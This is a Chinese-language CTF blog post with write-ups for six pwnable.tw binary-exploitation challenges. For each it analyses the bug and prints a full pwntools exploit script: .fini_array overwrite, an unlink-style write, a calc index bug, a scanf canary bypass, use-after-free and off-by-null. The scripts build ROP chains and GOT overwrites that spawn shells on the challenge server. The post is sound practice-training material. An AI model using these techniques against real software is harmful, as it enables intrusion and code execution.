pwnablele_exercises

pwnable.tw不愧是誉为pwn手最爱的平台,题目很难,但是每一个题目都十分具有代表性,一句话:快乐很多,知识很多,哈哈!

3x17

首先这是一个64位的elf文件,check结果如下:

[*] '/home/root0/pratice/pwnable/3x17/3x17'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

这个虽然没有开canary,但是程序自己实现了一个类似于canary效果的保护。
file结果如下:

3x17: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a9f43736cc372b3d1682efa57f19a4d5c70e41d3, stripped

静态去符号属实恶心,自然首先尝试了一下lscan符号恢复,发现没啥卵用,那么就自己手动修复喽,main函数如下。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int v4; // eax
  char *v5; // ST08_8
  char buf; // [rsp+10h] [rbp-20h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  result = (unsigned __int8)++byte_4B9330;
  if ( byte_4B9330 == 1 )
  {
    write(1u, "addr:", 5uLL);
    read(0, &buf, 0x18uLL);
    sub_40EE70((__int64)&buf); //讲输入的10进制地址转化给16进制的形式
    v5 = (char *)v4;
    write(1u, "data:", 5uLL);
    read(0, v5, 0x18uLL); //可以向自己输入的地址里面读入0x18个字符
    result = 0;
  }
  if ( __readfsqword(0x28u) != v7 )
    sub_44A3E0();
  return result;
}

程序逻辑简单,但是涉及到了较深的知识。

知识点

.fini.array数组:这个数组里面存储这个程序执行完之后的函数,但是里面是逆序调用的,意思就是:假设.fini.array[0],.fini.array[1],.fini.array[2] 这三个里面存储着三个地址,那么就会下执行.fini.array[2],然后执行[1],最后执行.fini.array[0] .

利用方式(exp)

所以,我们可以把.fini.array[0]里面写入调用其所在函数的地址,然后把main函数的地址放入.fini.array[1]里面,进而实现无限循环,那么等byte_4B9330的值溢出再次成为1的时候,就可以再次任意地址写,多次任意写就可以用系统调用的方式实现getshell

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = "debug"
local = 0
exec_binary = './3x17'
context.binary = exec_binary
elf = ELF(exec_binary,checksec=False)
if local:
    r = process(exec_binary)
else:
    r = remote("chall.pwnable.tw",10105)
def get_libc(addr,addr_name):
    global libc,libcbase
    libc = LibcSearcher(str(addr_name),addr)
    libcbase = addr - libc.dump(addr_name) 

def confirm(address):
    n = globals()
    for key,value in n.items():
        if value == address:
            return success(key+" ==> "+hex(address))

def debug(addr):
    break_point = 'b *'+str(addr)+'\nc'
    gdb.attach(r,break_point)
    pause()

def write(addr,value):
    r.recvuntil(':')
    #r.sendline(str(eval(str(addr))))
    r.sendline(str(addr))
    r.recvuntil(':')
    r.send(str(value))

fini_arry = 0x0000000004B40F0
fini_func = 0x000000000402960
main_addr = 0x000000000401B6D
pop_rdi_ret = 0x0000000000401696
pop_rsi_ret = 0x0000000000406c30
pop_rax_ret = 0x000000000041e4af
pop_rdx_ret = 0x0000000000446e35
syscall_addr = 0x0000000000471db5
bin_sh_addr = 0x4B9300
leave_ret = 0x000000000401C4B 
write(fini_arry,p64(fini_func)+p64(main_addr))
write(bin_sh_addr,"/bin/sh\x00")
write(fini_arry+0x10,p64(pop_rdi_ret)+p64(bin_sh_addr))
write(fini_arry+0x20,p64(pop_rdx_ret)+p64(0))
write(fini_arry+0x30,p64(pop_rsi_ret)+p64(0))
write(fini_arry+0x40,p64(pop_rax_ret)+p64(59))
write(fini_arry+0x50,p64(syscall_addr))
write(fini_arry,p64(leave_ret))
'''
rop = [
    pop_rax_ret,
    p64(59),
    pop_rdi_ret,
    p64(59),

]
'''
r.interactive()

applestore —> 栈空间复用

看了libc就知道是个32位的题目,先checksec走一波。

[*] '/home/root0/pratice/pwnable/applestore/applestore'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

可以看到开启了NX和Canary保护。下面分析程序的主要功能:
这是个苹果购买系统。

add函数就是类似于加入购物车的操作,其中存储数据结果为双链表的形式:

struct order
{
    void *description_ptr;
    int price;
    *fd;
    *bk;
};

下面看一下delete函数

可以看到delete函数实现了类似于unlink的功能,把要删除的节点从链表里面拆除出来。

下面比较重要的就是checkout函数了:

可以看到如果购物达到一定的数量会以1美元的价格赠送一个iphone 8,漏洞就在于此函数的insert()操作,这个操作此时在栈上进行,但是栈上的这块区域会被很main函数里面的很多函数复用,这就使得我们有可能改造这个iphone 8的结构体(这波操作属实秀我一脸,不看wp根本想不到好嘛?也可能是我太菜了),我们改造iphone 8结构体之后可以实现地址泄露和类似于任意地址写的操作,这样的话之后就是常规的想办法Getshell的操作了。

利用点

  1. 这个程序的delete函数实现了类似于unlink的功能,那么我们也可以利用类似于unlink在无保护时的写入漏洞来时实现任意地址写入,这一点属实是秀到炸了,这是一个好题,嗯就是这样。
  2. 我们可以用environ环境变量指针来泄露出栈地址,那么unlink就可以用来修改main_ret来实现getshell。
  3. 交换GOT和ebp,从而子函数ret后回到main,ebp会到GOT上,在main中read,会读到GOT表上,可以改写atoi到system,这简直就是天秀!!!

EXP

from pwn import *
r = remote(""chall.pwnable.tw",10104")
def confirm(address):
    n = globals()
    for key,value in n.items():
        if value == address:
            return success(key+" ==> "+hex(address))

def list_order():
    r.recvuntil("> ")
    r.sendline("1")

def add(idx):
    r.recvuntil("> ")
    r.sendline("2")
    r.recvuntil("Number> ")
    r.sendline(str(idx))

def delete(idx,flag):
    r.recvuntil("> ")
    r.sendline("3")
    r.recvuntil("Number> ")
    if flag:
        r.sendline(str(idx))
    else:
        r.sendline(idx)

def list_cart(payload="\x00"):
    r.recvuntil("> ")
    r.sendline("4")
    r.recvuntil("(y/n) > ")
    r.sendline("y"+payload)

def checkout():
    r.recvuntil("> ")
    r.sendline("5")
    r.recvuntil("(y/n) > ")
    r.sendline("y")

libc = ELF("./libc_32.so.6")
for i in range(6):
    add(1)
for i in range(20):
    add(2)
checkout()
payload = "\x00" + p32(elf.got["atoi"]) + p32(0) + p32(0x804b070)
list_cart(payload)
r.recvuntil("27: ")
atoi_addr = u32(r.recv(4))
r.recvuntil("28: ")
heap_base = u32(r.recv(4)) - 0x490
confirm(atoi_addr)
confirm(heap_base)
libcbase = atoi_addr - libc.symbols["atoi"]
#get_libc(atoi_addr,"atoi")
confirm(libcbase)
system_addr = libcbase + libc.symbols["system"]
confirm(system_addr)
environ_addr = libcbase + libc.symbols["environ"]
confirm(environ_addr)
#puts_got = elf.got["puts"]
payload = "\x00" + p32(environ_addr) + p32(0)
#debug(0x8048B34)
list_cart(payload)
r.recvuntil("27: ")
stack_addr = u32(r.recv(4)) - 0x104 //找到delete函数的
confirm(stack_addr)
payload = "27" + p32(environ_addr) + p32(1) + p32(stack_addr - 0xc) + p32(elf.got["atoi"]+0x20-2) #这个没有\x00截断,但是你调试就可以发现其实没关系。atoi函数会把地址所指向的字符串当做参数并且只解析可以解析的,到不可解析为止。
delete(payload,0)
payload = '$0\x00\x00'+p32(system_addr)
r.sendline(payload)
r.interactive()

知识点

倒数第二个payload的got为啥 +0x20-2

知道了吧。。。

还有就是$0也可以代替”/bin/sh”这类字符串来作为system的参数实现Getshell。

http://www.ainesmile.com/unix/2018/01/22/environment-variables.html environ环境变量指针

pwnable.tw calc

这个题目是一个逻辑漏洞的考验,着重考验的是代码逆向水平和代码审计的能力。
我们看关键函数calc

unsigned int calc()
{
  int v1; // [esp+18h] [ebp-5A0h]
  int v2[100]; // [esp+1Ch] [ebp-59Ch]
  char s; // [esp+1ACh] [ebp-40Ch]
  unsigned int v4; // [esp+5ACh] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  while ( 1 )
  {
    bzero(&s, 0x400u);
    if ( !get_expr((int)&s, 1024) )             // 数值存储
      break;
    init_pool(&v1);                             // 栈清0
    if ( parse_expr((int)&s, &v1) )             // 算术计算
    {
      printf((const char *)&unk_80BF804, v2[v1 - 1]);
      fflush(stdout);
    }
  }
  return __readgsdword(0x14u) ^ v4;
}

其中函数bzero和init_pool都是将一段栈空间清0,函数get_expr存储我们的算术表达式放入bzero函数开辟的空间,存储运算结果在init_pool函数开辟的空间,关键的是在于parse_expr函数,这里进行运算。

signed int __cdecl parse_expr(int buf_s, _DWORD *new_buf)
{
  int v2; // ST2C_4
  int v4; // eax
  int buf_s_; // [esp+20h] [ebp-88h]
  int i; // [esp+24h] [ebp-84h]
  int v7; // [esp+28h] [ebp-80h]
  char *s1; // [esp+30h] [ebp-78h]
  int v9; // [esp+34h] [ebp-74h]
  char s[100]; // [esp+38h] [ebp-70h]
  unsigned int v11; // [esp+9Ch] [ebp-Ch]

  v11 = __readgsdword(0x14u);
  buf_s_ = buf_s;
  v7 = 0;
  bzero(s, 0x64u);
  for ( i = 0; ; ++i )
  {
    if ( (unsigned int)(*(char *)(i + buf_s) - 48) > 9 ) //判断是不是操作符
    {
      v2 = i + buf_s - buf_s_;
      s1 = (char *)malloc(v2 + 1);
      memcpy(s1, buf_s_, v2);
      s1[v2] = 0;
      if ( !strcmp(s1, "0") ) //表达式开头不为0
      {
        puts("prevent division by zero");
        fflush(stdout);
        return 0;
      }
      v9 = atoi(s1); //字符串转数字
      if ( v9 > 0 )
      {
        v4 = (*new_buf)++;
        new_buf[v4 + 1] = v9;
      }
      if ( *(_BYTE *)(i + buf_s) && (unsigned int)(*(char *)(i + 1 + buf_s) - 48) > 9 ) //判断运算符是否合法
      {
        puts("expression error!");
        fflush(stdout);
        return 0;
      }
      buf_s_ = i + 1 + buf_s;
      if ( s[v7] ) //从这里就可以看出s数组用来存储运算符
      {
        switch ( *(char *)(i + buf_s) )
        {
          case '%':
          case '*':
          case '/':
            if ( s[v7] != '+' && s[v7] != '-' )
            {
              eval(new_buf, s[v7]);
              s[v7] = *(_BYTE *)(i + buf_s);
            }
            else
            {
              s[++v7] = *(_BYTE *)(i + buf_s);
            }
            break;
          case '+':
          case '-':
            eval(new_buf, s[v7]);
            s[v7] = *(_BYTE *)(i + buf_s);
            break;
          default:
            eval(new_buf, s[v7--]);
            break;
        }
      }
      else
      {
        s[v7] = *(_BYTE *)(i + buf_s);
      }
      if ( !*(_BYTE *)(i + buf_s) )
        break;
    }
  }
  while ( v7 >= 0 )
    eval(new_buf, s[v7--]);
  return 1;
}

但是真正的漏洞在于eval计算函数。

_DWORD *__cdecl eval(_DWORD *new_buf, char op)
{
  _DWORD *result; // eax

  if ( op == '+' )
  {
    new_buf[*new_buf - 1] += new_buf[*new_buf];
  }
  else if ( op > '+' )
  {
    if ( op == '-' )
    {
      new_buf[*new_buf - 1] -= new_buf[*new_buf];
    }
    else if ( op == '/' )
    {
      new_buf[*new_buf - 1] /= new_buf[*new_buf];
    }
  }
  else if ( op == '*' )
  {
    new_buf[*new_buf - 1] *= new_buf[*new_buf];
  }
  result = new_buf;
  --*new_buf;
  return result;
}

那么如果我们一开始就是输入类似于+1314+1这类的表达式,我们可以发现init_pool函数开辟的空间里是这样的。

我们可以看到最开始的数组索引部分被修改为第一次运算结果v1,那么接下来的运算就是new_buf[new_buf - 1] + new_buf[1] ===> new_buf[new_buf - 1],这就会造成任意地址的读写。

那么我们在调试的时候很容易知道返回地址ret和我们的输入相关内存单元的地址差

eax中就是索引也就是我们漏洞利用后的计算结果,所以很就实现了。

exp:

#!/usr/bin/env python
from pwn import *
local = 0
if local:
    sh = process('./calc')
    elf = ELF('./calc')
    libc = elf.libc
else:
    sh = remote("chall.pwnable.tw",10100)
    elf = ELF('./calc')
context.arch = elf.arch
context.log_level='debug'
def sd(content):
    sh.send(content)

def sl(content):
    sh.sendline(content)

def rc():
    return sh.recv()

def ru(content):
    return sh.recvuntil(content)

def calc(x,y):
    sl("+" + str(x))  #先泄露出栈里面本来存储的内容
    data = sh.recvline()
    data = int(data,10)
    if data > y :
        temp = data - y
        payload = "+" + str(x) + "-" + str(temp)
        sl(payload)
        rc()
    else:
        temp = y - data
        payload = "+" + str(x) + "+" + str(temp)
        sl(payload)
        rc()
p = []
p.append(0x080701aa) # pop edx ; ret
p.append(0x080ec060) # @ .data
p.append(0x0805c34b) # pop eax ; ret
p.append(u32('/bin'))
p.append(0x0809b30d) # mov dword ptr [edx], eax ; ret
p.append(0x080701aa) # pop edx ; ret
p.append(0x080ec064) # @ .data + 4
p.append(0x0805c34b) # pop eax ; ret
p.append(u32('//sh'))
p.append(0x0809b30d) # mov dword ptr [edx], eax ; ret
p.append(0x080701aa) # pop edx ; ret
p.append(0x080ec068) # @ .data + 8
p.append(0x080550d0) # xor eax, eax ; ret
p.append(0x0809b30d) # mov dword ptr [edx], eax ; ret
p.append(0x080481d1) # pop ebx ; ret
p.append(0x080ec060) # @ .data
p.append(0x080701d1) # pop ecx ; pop ebx ; ret
p.append(0x080ec068) # @ .data + 8
p.append(0x080ec060) # padding without overwrite ebx
p.append(0x080701aa) # pop edx ; ret
p.append(0x080ec068) # @ .data + 8
p.append(0x080550d0) # xor eax, eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x08049a21) # int 0x80
rc()
for i in range(len(p)):
    calc(361+i,p[i])
sh.sendline("")
sh.interactive()

参考链接:

https://v1ckydxp.github.io/2019/04/25/pwnable-tw-calc-writeup/
https://zszcr.github.io/2018/10/07/2018-10-7-pwnable.tw-writeup/

dubble sort

pwnable上的第5个题目,下面进行分析:
main函数:

里面在第一次读入name的时候由于read函数读入不会自动添加\x00,所以我们可以泄露出基地址,同时在输入的时候由于输入量是自己设顶的,所以会造成栈溢出,虽然开了canary,但是scanf函数有个经典漏洞。

scanf漏洞

scanf函数当输入”+”和”-“的时候不会改变栈里面的内容,那么我们通过调试就可以得出栈空间改如何排布,(不知道为啥我的远程连不上就本地打喽)

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = "debug"
local = 1
exec_binary = './dubblesort'
context.binary = exec_binary
elf = ELF(exec_binary,checksec=False)
if local:
    r = process(exec_binary)
else:
    r = remote("chall.pwnable.tw",10101)
def get_libc(addr,addr_name):
    global libc,libcbase
    libc = LibcSearcher(str(addr_name),addr)
    libcbase = addr - libc.dump(addr_name) 

def confirm(address):
    n = globals()
    for key,value in n.items():
        if value == address:
            return success(key+" ==> "+hex(address))

def debug(addr):
    break_point = 'b *'+str(addr)+'\nc'
    gdb.attach(r,break_point)
    pause()

r.recvuntil("What your name :")
#gdb.attach(r)
r.sendline('a'*27)
r.recvuntil("\n")
__libc_start_main_addr = u32(r.recvuntil("\xf7")) - 0x197d04
get_libc(__libc_start_main_addr,"__libc_start_main")
system_addr = libcbase + libc.dump("system")
bin_sh_addr = libcbase + libc.dump("str_bin_sh")
confirm(libcbase)
confirm(system_addr)
confirm(bin_sh_addr)
r.sendline("35")
r.recv()
for i in range(24):
    r.sendline("1")
    r.recv()
r.sendline("+")
r.recv()
for i in range(7):
    r.sendline(str(eval("0xefffffff")))
    r.recv()
r.sendline(str(system_addr))
r.sendline(str(bin_sh_addr))
r.sendline(str(system_addr))
r.interactive()

远程的话其实它给了个libc,我们可以利用readelf和strings直接找出system和binsh的偏移,然后思路同上。

hackone

拿到一个堆的题目首先分析它的数据结构:

我们可以看到申请会同时生成两个堆块,第一个堆块用来存放输出函数所在的地址,第二个存在申请出来的另一个堆块的mem指针。

它的show函数写的很奇妙,之前所说的第一个堆块的前半部分是函数指针,后半部分是参数,那么我们就可以改写其为system函数,同时用system的参数截断来实现利用,比如:

"||sh"或者";sh"

这个程序的漏洞在于指针free后没有置NULL

这就说明我们可以进行double free操作,我刚开始死活弄不出来就在于没有看出第一个堆块的后半部分是前半部分的参数,如果这样的话,其实不用double free,申请的时候直接申请一个0x10大小的chunk就会把之前free的拿回来,然后把其的后半部分改写成got表内容,就可以泄露地址了,然后把他改成system的就可以getshell了,同时还有一个解法就是利用fastin和unsorted_bin的合并,下面贴出一个脚本,但是包含两种解法。

#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
exec_binary = "./hacknote"
libcversion = '2.23'
local = 1
context.binary = exec_binary
#context.log_level = "debug"
elf = ELF(exec_binary,checksec=False)
if local:
    r = process(exec_binary)
    if context.arch == "i386":
        libc = ELF("/glibc/x86/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
    elif context.arch == "amd64":
        libc = ELF("/glibc/x64/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
else:
    r = remote("")

def get_libc(addr,addr_name):
    global libc,libcbase
    libc = LibcSearcher(str(addr_name),addr)
    libcbase = addr - libc.dump(addr_name) 

def get_base(r):
    text_base = r.libs()[r._cwd+r.argv[0].strip('.')]
    for key in r.libs():
        if "libc.so.6" in key:
            return text_base,r.libs()[key]
def debug(addr):
    text_base,libc_base = get_base(r)
    break_point = "set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
    break_point+="b *" + str(addr) + "\nc"
    gdb.attach(r,break_point)
def confirm(address):
    n = globals()
    for key,value in n.items():
        if value == address:
            return success(key+" ==> "+hex(address))

def malloc(size,context):
    r.recvuntil("Your choice :")
    r.sendline("1")
    r.recvuntil("Note size :")
    r.sendline(str(size))
    r.recvuntil("Content :")
    r.send(context)

def free(idx):
    r.recvuntil("Your choice :")
    r.sendline("2")
    r.recvuntil("Index :")
    r.sendline(str(idx))

def show(idx):
    r.recvuntil("Your choice :")
    r.sendline("3")
    r.recvuntil("Index :")
    r.sendline(str(idx))


libc = ELF("./libc.so.6")
"""    #第一种解法
malloc(0x48,"a") #0
malloc(0x48,"a") #1
free(0)
malloc(0x48,"a") #2
show(0)
r.recvuntil("\xf7")
get = r.recvuntil("\xf7")
libcbase = u64(get.ljust(8,"\x00")) - 0x1b37b0 + 0x1000
system_addr = libcbase + libc.symbols["system"]
confirm(system_addr)
confirm(libcbase)
free(0)
free(1)
payload = p32(system_addr) + ";/bin/sh\x00"
malloc(0x58,payload)
#gdb.attach(r)
show(0)
"""
puts_got = elf.got["puts"] #第二种解法
malloc(0x10,"A") #0
malloc(0x10,"A") #1
free(0)
free(1)
malloc(0x8,p32(0x804862B)+p32(puts_got)) #2

show(0)
puts_addr = u32(r.recvuntil("\xf7"))
libcbase = puts_addr - libc.symbols["puts"]
system_addr = libcbase + libc.symbols["system"]
confirm(libcbase)
confirm(puts_addr)
confirm(system_addr)
free(2)
malloc(0x8,p32(system_addr) + ";sh\x00") #0
#gdb.attach(r)
show(0)
r.interactive()

silver_bullet

这个题目给我的感觉就是用栈实现的堆的操作一样,哈哈,既然是栈的题目,我们就比较关心到底开了什么保护。

[*] '/home/root0/pratice/pwnable/silver_bullet/silver_bullet'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

可以看到开启了Full RELRO和NX,我们分析程序逻辑。
首先在main函数的栈空间里面开辟了一段空间

然后就是create_bullet函数,它的参数就是一个指向main函数开辟区域buf的指针。

如果buf里面没有东西的话就会读入自己的输入,输入读入的长度,并将长度存储到了开辟的buf的下面。

然后就是power_up函数,它参数和create_bullet一样

但是该函数在自己的栈空间里面开辟了一块新的区域,然后先判断有没有创建过bullet然后判断是否存满0x30,没有的话先读入到自己新开辟的s区域,然后接到原来的buf里面,但是这里明显漏洞啊,strncat在拼接字符串的时候会把字符串的”\x00”也拼接过去,这就类似于off-by-null了,而且程序只有这一个洞。

最后是beat函数:

利用方法

我们只需要两次power_up就能实现栈溢出,但是我们由power_up函数就可以知道我们需要把power_up接上的字符长度小一点,因为这个长度会被赋给size,这样我们可以栈溢出了,随后的操作就很平常了。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = "debug"
local = 0
exec_binary = './silver_bullet'
context.binary = exec_binary
elf = ELF(exec_binary, checksec=False)
if local:
    r = process(exec_binary)
else:
    r = remote("chall.pwnable.tw",10103)


def get_libc(addr, addr_name):
    global libc, libcbase
    libc = LibcSearcher(str(addr_name), addr)
    libcbase = addr - libc.dump(addr_name)


def confirm(address):
    n = globals()
    for key, value in n.items():
        if value == address:
            return success(key + " ==> " + hex(address))


def debug(addr):
    break_point = 'b *' + str(addr) + '\nc'
    gdb.attach(r, break_point)
    pause()


def create(context):
    r.recvuntil("Your choice :")
    r.sendline("1")
    r.recvuntil("of bullet :")
    r.sendline(context)


def power_up(context):
    r.recvuntil("Your choice :")
    r.sendline("2")
    r.recvuntil("of bullet :")
    r.sendline(context)


def beat():
    r.recvuntil("Your choice :")
    r.sendline("3")


def exit():
    r.recvuntil("Your choice :")
    r.sendline("4")

libc = ELF("./libc_32.so.6")
main_addr = 0x8048954
create("a" * 0x2f)
power_up("a")
payload = "\xff\xff\xff" + "a" * 4 + p32(elf.symbols["puts"]) + p32(main_addr) + p32(elf.got["puts"])
power_up(payload)
# debug(0x8048A18)
beat()
sleep(2)
r.recvuntil("You win !!\n")
puts_addr = u32(r.recv(4))
confirm(puts_addr)
libcbase = puts_addr - libc.symbols["puts"]
confirm(libcbase)
system_addr = libcbase + libc.symbols["system"]
binsh_addr = libcbase + libc.search("/bin/sh").next()
payload = "\xff\xff\xff" + "a" * 4 + p32(system_addr)  + p32(main_addr) + p32(binsh_addr)
create("a" * 0x2f)
power_up("a")
power_up(payload)
beat()
# beat()
# debug(0x8048984)
r.interactive()

   转载规则


《pwnablele_exercises》 时钟 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
2020_heap_practice 2020_heap_practice
2019护网杯 mergeheap这个题目的逻辑比较清晰,难的地方在于利用思路。 遍观整个程序: 自己实现的read函数没有off-by-one: delete函数没有UAF之类的 因此整个程序没有什么明显的漏洞,下面就要对执行逻辑进行分析
2020-01-30
下一篇 
linux 64位万能gadget & 栈迁移 & rop linux 64位万能gadget & 栈迁移 & rop
linux 64位万能gadget & 栈迁移 & rop用一个例题(下面有题目链接)为例子,下面是它的关键函数:最后一个read函数存在溢出,但是由于溢出的长度有限因而不能够实现利用,同时第一个read函数可以向bss段读
2020-01-15
  目录